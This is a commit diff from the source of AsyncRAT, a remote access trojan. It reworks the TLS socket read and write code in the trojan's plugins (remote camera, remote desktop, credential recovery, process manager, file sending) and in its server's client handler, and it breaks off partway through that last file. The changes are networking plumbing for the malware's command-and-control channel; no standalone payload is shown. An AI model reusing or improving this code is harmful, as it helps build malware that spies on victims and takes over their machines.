SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

75
AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs
View File

@ -19,9 +19,9 @@ namespace Plugin
public static SslStream SslClient { get; set; } public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; } public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; } private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; } private static long HeaderSize { get; set; }
private static long Offset { get; set; }
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; } public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object(); private static object SendSync { get; } = new object();
public static string Hwid { get; set; } public static string Hwid { get; set; }
@ -44,8 +44,9 @@ namespace Plugin
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
Offset = 0;
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
@ -86,13 +87,12 @@ namespace Plugin
Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
MS?.Dispose();
GC.Collect(); GC.Collect();
} }
catch { } catch { }
} }
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
{ {
try try
{ {
@ -104,34 +104,40 @@ namespace Plugin
int recevied = SslClient.EndRead(ar); int recevied = SslClient.EndRead(ar);
if (recevied > 0) if (recevied > 0)
{ {
MS.Write(Buffer, 0, recevied); Offset += recevied;
if (MS.Length == 4) HeaderSize -= recevied;
if (HeaderSize == 0)
{ {
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); HeaderSize = BitConverter.ToInt32(Buffer, 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
MS.Dispose(); if (HeaderSize > 0)
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Offset = 0;
while (MS.Length != Buffersize) Buffer = new byte[HeaderSize];
while (HeaderSize != 0)
{ {
int rc = SslClient.Read(Buffer, 0, Buffer.Length); int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (rc == 0) if (rc <= 0 || HeaderSize < 0)
{ {
IsConnected = false; IsConnected = false;
return; return;
} }
MS.Write(Buffer, 0, rc); Offset += rc;
HeaderSize -= rc;
} }
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(Buffer);
Buffer = new byte[4]; Offset = 0;
MS.Dispose(); HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
} }
} }
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); else if (HeaderSize < 0)
{
IsConnected = false;
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
{ {
@ -163,25 +169,22 @@ namespace Plugin
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
int chunkSize = 50 * 1024; Debug.WriteLine("send chunks");
byte[] chunk = new byte[chunkSize]; using (MemoryStream memoryStream = new MemoryStream(msg))
using (MemoryStream buffereReader = new MemoryStream(msg))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader); int read = 0;
int bytesToRead = (int)buffereReader.Length; memoryStream.Position = 0;
do byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length); }
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
} }
} }
else else
{ {
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(msg, 0, msg.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }

74
AsyncRAT-C#/Plugin/Options/Options/Connection.cs
View File

@ -19,9 +19,9 @@ namespace Plugin
public static SslStream SslClient { get; set; } public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; } public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; } private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; } private static long HeaderSize { get; set; }
private static long Offset { get; set; }
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; } public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object(); private static object SendSync { get; } = new object();
public static string Hwid { get; set; } public static string Hwid { get; set; }
@ -44,8 +44,9 @@ namespace Plugin
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
Offset = 0;
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
@ -86,13 +87,12 @@ namespace Plugin
Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
MS?.Dispose();
GC.Collect(); GC.Collect();
} }
catch { } catch { }
} }
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
{ {
try try
{ {
@ -104,34 +104,40 @@ namespace Plugin
int recevied = SslClient.EndRead(ar); int recevied = SslClient.EndRead(ar);
if (recevied > 0) if (recevied > 0)
{ {
MS.Write(Buffer, 0, recevied); Offset += recevied;
if (MS.Length == 4) HeaderSize -= recevied;
if (HeaderSize == 0)
{ {
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); HeaderSize = BitConverter.ToInt32(Buffer, 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
MS.Dispose(); if (HeaderSize > 0)
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Offset = 0;
while (MS.Length != Buffersize) Buffer = new byte[HeaderSize];
while (HeaderSize != 0)
{ {
int rc = SslClient.Read(Buffer, 0, Buffer.Length); int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (rc == 0) if (rc <= 0 || HeaderSize < 0)
{ {
IsConnected = false; IsConnected = false;
return; return;
} }
MS.Write(Buffer, 0, rc); Offset += rc;
HeaderSize -= rc;
} }
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(Buffer);
Buffer = new byte[4]; Offset = 0;
MS.Dispose(); HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
} }
} }
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); else if (HeaderSize < 0)
{
IsConnected = false;
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
{ {
@ -163,21 +169,17 @@ namespace Plugin
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
int chunkSize = 50 * 1024; Debug.WriteLine("send chunks");
byte[] chunk = new byte[chunkSize]; using (MemoryStream memoryStream = new MemoryStream(msg))
using (MemoryStream buffereReader = new MemoryStream(msg))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader); int read = 0;
int bytesToRead = (int)buffereReader.Length; memoryStream.Position = 0;
do byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length); }
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
} }
} }
else else

74
AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs
View File

@ -19,9 +19,9 @@ namespace Plugin
public static SslStream SslClient { get; set; } public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; } public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; } private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; } private static long HeaderSize { get; set; }
private static long Offset { get; set; }
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; } public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object(); private static object SendSync { get; } = new object();
public static string Hwid { get; set; } public static string Hwid { get; set; }
@ -44,8 +44,9 @@ namespace Plugin
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
Offset = 0;
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
@ -86,13 +87,12 @@ namespace Plugin
Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
MS?.Dispose();
GC.Collect(); GC.Collect();
} }
catch { } catch { }
} }
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
{ {
try try
{ {
@ -104,34 +104,40 @@ namespace Plugin
int recevied = SslClient.EndRead(ar); int recevied = SslClient.EndRead(ar);
if (recevied > 0) if (recevied > 0)
{ {
MS.Write(Buffer, 0, recevied); Offset += recevied;
if (MS.Length == 4) HeaderSize -= recevied;
if (HeaderSize == 0)
{ {
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); HeaderSize = BitConverter.ToInt32(Buffer, 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
MS.Dispose(); if (HeaderSize > 0)
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Offset = 0;
while (MS.Length != Buffersize) Buffer = new byte[HeaderSize];
while (HeaderSize != 0)
{ {
int rc = SslClient.Read(Buffer, 0, Buffer.Length); int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (rc == 0) if (rc <= 0 || HeaderSize < 0)
{ {
IsConnected = false; IsConnected = false;
return; return;
} }
MS.Write(Buffer, 0, rc); Offset += rc;
HeaderSize -= rc;
} }
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(Buffer);
Buffer = new byte[4]; Offset = 0;
MS.Dispose(); HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
} }
} }
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); else if (HeaderSize < 0)
{
IsConnected = false;
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
{ {
@ -163,21 +169,17 @@ namespace Plugin
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
int chunkSize = 50 * 1024; Debug.WriteLine("send chunks");
byte[] chunk = new byte[chunkSize]; using (MemoryStream memoryStream = new MemoryStream(msg))
using (MemoryStream buffereReader = new MemoryStream(msg))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader); int read = 0;
int bytesToRead = (int)buffereReader.Length; memoryStream.Position = 0;
do byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length); }
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
} }
} }
else else

22
AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs
View File

@ -99,21 +99,17 @@ namespace Plugin
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
int chunkSize = 50 * 1024; Debug.WriteLine("send chunks");
byte[] chunk = new byte[chunkSize]; using (MemoryStream memoryStream = new MemoryStream(msg))
using (MemoryStream buffereReader = new MemoryStream(msg))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader); int read = 0;
int bytesToRead = (int)buffereReader.Length; memoryStream.Position = 0;
do byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length); }
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
} }
} }
else else

73
AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs
View File

@ -19,9 +19,9 @@ namespace Plugin
public static SslStream SslClient { get; set; } public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; } public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; } private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; } private static long HeaderSize { get; set; }
private static long Offset { get; set; }
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; } public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object(); private static object SendSync { get; } = new object();
public static string Hwid { get; set; } public static string Hwid { get; set; }
@ -44,8 +44,9 @@ namespace Plugin
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
Offset = 0;
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
@ -87,12 +88,11 @@ namespace Plugin
Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
MS?.Dispose();
} }
catch { } catch { }
} }
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
{ {
try try
{ {
@ -104,34 +104,40 @@ namespace Plugin
int recevied = SslClient.EndRead(ar); int recevied = SslClient.EndRead(ar);
if (recevied > 0) if (recevied > 0)
{ {
MS.Write(Buffer, 0, recevied); Offset += recevied;
if (MS.Length == 4) HeaderSize -= recevied;
if (HeaderSize == 0)
{ {
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); HeaderSize = BitConverter.ToInt32(Buffer, 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
MS.Dispose(); if (HeaderSize > 0)
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Offset = 0;
while (MS.Length != Buffersize) Buffer = new byte[HeaderSize];
while (HeaderSize != 0)
{ {
int rc = SslClient.Read(Buffer, 0, Buffer.Length); int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (rc == 0) if (rc <= 0 || HeaderSize < 0)
{ {
IsConnected = false; IsConnected = false;
return; return;
} }
MS.Write(Buffer, 0, rc); Offset += rc;
HeaderSize -= rc;
} }
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(Buffer);
Buffer = new byte[4]; Offset = 0;
MS.Dispose(); HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
} }
} }
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); else if (HeaderSize < 0)
{
IsConnected = false;
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
{ {
@ -163,21 +169,16 @@ namespace Plugin
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
int chunkSize = 50 * 1024; using (MemoryStream memoryStream = new MemoryStream(msg))
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader); int read = 0;
int bytesToRead = (int)buffereReader.Length; memoryStream.Position = 0;
do byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length); }
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
} }
} }
else else

73
AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs
View File

@ -19,9 +19,9 @@ namespace Plugin
public static SslStream SslClient { get; set; } public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; } public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; } private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; } private static long HeaderSize { get; set; }
private static long Offset { get; set; }
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; } public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object(); private static object SendSync { get; } = new object();
public static string Hwid { get; set; } public static string Hwid { get; set; }
@ -44,8 +44,9 @@ namespace Plugin
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
Offset = 0;
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
@ -88,12 +89,11 @@ namespace Plugin
Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
MS?.Dispose();
} }
catch { } catch { }
} }
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
{ {
try try
{ {
@ -105,34 +105,40 @@ namespace Plugin
int recevied = SslClient.EndRead(ar); int recevied = SslClient.EndRead(ar);
if (recevied > 0) if (recevied > 0)
{ {
MS.Write(Buffer, 0, recevied); Offset += recevied;
if (MS.Length == 4) HeaderSize -= recevied;
if (HeaderSize == 0)
{ {
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); HeaderSize = BitConverter.ToInt32(Buffer, 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
MS.Dispose(); if (HeaderSize > 0)
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Offset = 0;
while (MS.Length != Buffersize) Buffer = new byte[HeaderSize];
while (HeaderSize != 0)
{ {
int rc = SslClient.Read(Buffer, 0, Buffer.Length); int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (rc == 0) if (rc <= 0 || HeaderSize < 0)
{ {
IsConnected = false; IsConnected = false;
return; return;
} }
MS.Write(Buffer, 0, rc); Offset += rc;
HeaderSize -= rc;
} }
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(Buffer);
Buffer = new byte[4]; Offset = 0;
MS.Dispose(); HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
} }
} }
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); else if (HeaderSize < 0)
{
IsConnected = false;
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
{ {
@ -164,21 +170,16 @@ namespace Plugin
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
int chunkSize = 50 * 1024; using (MemoryStream memoryStream = new MemoryStream(msg))
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader); int read = 0;
int bytesToRead = (int)buffereReader.Length; memoryStream.Position = 0;
do byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length); }
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
} }
} }
else else

74
AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs
View File

@ -19,9 +19,9 @@ namespace Plugin
public static SslStream SslClient { get; set; } public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; } public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; } private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; } private static long HeaderSize { get; set; }
private static long Offset { get; set; }
private static Timer Tick { get; set; } private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; } public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object(); private static object SendSync { get; } = new object();
public static string Hwid { get; set; } public static string Hwid { get; set; }
@ -44,8 +44,9 @@ namespace Plugin
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
Offset = 0;
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
@ -86,13 +87,12 @@ namespace Plugin
Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
TcpClient?.Dispose(); TcpClient?.Dispose();
MS?.Dispose();
GC.Collect(); GC.Collect();
} }
catch { } catch { }
} }
public static void ReadServertData(IAsyncResult ar) public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
{ {
try try
{ {
@ -104,35 +104,40 @@ namespace Plugin
int recevied = SslClient.EndRead(ar); int recevied = SslClient.EndRead(ar);
if (recevied > 0) if (recevied > 0)
{ {
MS.Write(Buffer, 0, recevied); Offset += recevied;
if (MS.Length == 4) HeaderSize -= recevied;
if (HeaderSize == 0)
{ {
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); HeaderSize = BitConverter.ToInt32(Buffer, 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
MS.Dispose(); if (HeaderSize > 0)
MS = new MemoryStream();
if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Offset = 0;
while (MS.Length != Buffersize) Buffer = new byte[HeaderSize];
while (HeaderSize != 0)
{ {
int rc = SslClient.Read(Buffer, 0, Buffer.Length); int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
if (rc == 0) if (rc <= 0 || HeaderSize < 0)
{ {
IsConnected = false; IsConnected = false;
return; return;
} }
MS.Write(Buffer, 0, rc); Offset += rc;
HeaderSize -= rc;
} }
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray()); thread.Start(Buffer);
Buffer = new byte[4]; Offset = 0;
MS.Dispose(); HeaderSize = 4;
MS = new MemoryStream(); Buffer = new byte[HeaderSize];
} }
} }
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); else if (HeaderSize < 0)
{
IsConnected = false;
return;
}
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
} }
else else
{ {
@ -164,21 +169,16 @@ namespace Plugin
if (msg.Length > 1000000) //1mb if (msg.Length > 1000000) //1mb
{ {
int chunkSize = 50 * 1024; using (MemoryStream memoryStream = new MemoryStream(msg))
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{ {
BinaryReader binaryReader = new BinaryReader(buffereReader); int read = 0;
int bytesToRead = (int)buffereReader.Length; memoryStream.Position = 0;
do byte[] chunk = new byte[50 * 1000];
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
{ {
chunk = binaryReader.ReadBytes(chunkSize); TcpClient.Poll(-1, SelectMode.SelectWrite);
bytesToRead -= chunkSize; SslClient.Write(chunk, 0, read);
SslClient.Write(chunk, 0, chunk.Length); }
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
} }
} }
else else

80
AsyncRAT-C#/Server/Connection/Clients.cs
View File

@ -23,10 +23,9 @@ namespace Server.Connection
public ListViewItem LV2 { get; set; } public ListViewItem LV2 { get; set; }
public string ID { get; set; } public string ID { get; set; }
private byte[] ClientBuffer { get; set; } private byte[] ClientBuffer { get; set; }
private const int HeaderSize = 4; private long HeaderSize { get; set; }
